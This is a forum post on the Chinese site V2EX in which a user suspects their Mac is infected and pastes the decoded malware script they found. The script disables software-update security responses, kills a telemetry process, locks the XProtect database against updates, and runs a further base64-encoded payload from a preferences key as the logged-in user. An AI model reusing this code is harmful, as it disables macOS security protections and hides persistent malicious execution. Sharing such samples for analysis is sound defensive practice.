V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
maxbug
V2EX  ›  信息安全

macOS 疑似中毒

  •  
  •   maxbug · 10 小时 24 分钟前 · 519 次点击

    找到的主脚本如下

    defaults read fqijeu lqqr_djhxqjf | base64 --decode

    date
    whoami
    
    cd /Users/Shared
    pwd
    
    
    root_tasks() {
    
    	/usr/bin/defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist ConfigDataInstall -bool false
    	/usr/bin/defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist AllowRapidSecurityResponses -bool false
    
    	kill_processes() {
    	  while true; do
    	    pgrep -fi 'CloudTelemetryService' | xargs -r -I {} sh -c 'kill -9 {} && echo "killed PID {}"'
    	    sleep 1
    	  done
    	}
    
    	kill_processes &
    
    	perl -e 'open my $fh, "<", "/var/protected/xprotect/XPdb" or die $!; flock($fh, 2) or die $!; while (1) { sleep 60; }' &
    
    	echo "I am a root task $(whoami)"
    	
    }
    
    network_tasks() {
    	while ! ping -c1 -W1 1.1.1.1 &> /dev/null ; do
    		echo 'no net'
    	    sleep 5
    	done
    
    	echo 'net available'
    	"$1"
    	echo 'network task completed.'
    }
    
    
    localuser_tasks() {
    
    	while true; do
    	    localuser=$(scutil <<< "show State:/Users/ConsoleUser" | awk '/Name :/ && ! /loginwindow/ { print $3 }')
    	    
    	    if [[ -n "$localuser" ]]; then
    	        break
    	    fi
    
    	    echo 'No logged-in user. Retrying...'
    	    sleep 5
    	done
    
    	echo "[LOGGED IN] $localuser"
    
    	task() {
    		sleep 30
    
    		sudo -u "$localuser" /bin/bash <<EOF 
    defaults read 'fqijeu' 'burlh_dqeur_rkq' | base64 --decode | env SRC='Daemon' sh >/dev/null 2>&1 &
    EOF
    
    	}
    
    	network_tasks task &
    
    
    }
    
    loop_tasks() {
    	echo 'Daemon is running...'
    
    	if [ -e "/Users/echo/.kill" ]; then
    	  	echo 'killing...'
    
    		grep -lir 'echo.*base64.*sh' /Library/LaunchDaemons/ 2>/dev/null | while read -r file; do
    	    	echo "$file"
    	    	rm -f "$file"
    		done
    
    		rm -f "/Users/echo/.kill"
    
    		echo 'killed.'
    
    		exit
    	fi
    
    }
    
    root_tasks &
    localuser_tasks &
    
    while true; do
      loop_tasks &
      sleep 60
    done
    
    
    目前尚无回复
    关于   ·   帮助文档   ·   自助推广系统   ·   博客   ·   API   ·   FAQ   ·   Solana   ·   925 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 20:27 · PVG 04:27 · LAX 13:27 · JFK 16:27
    ♥ Do have faith in what you're doing.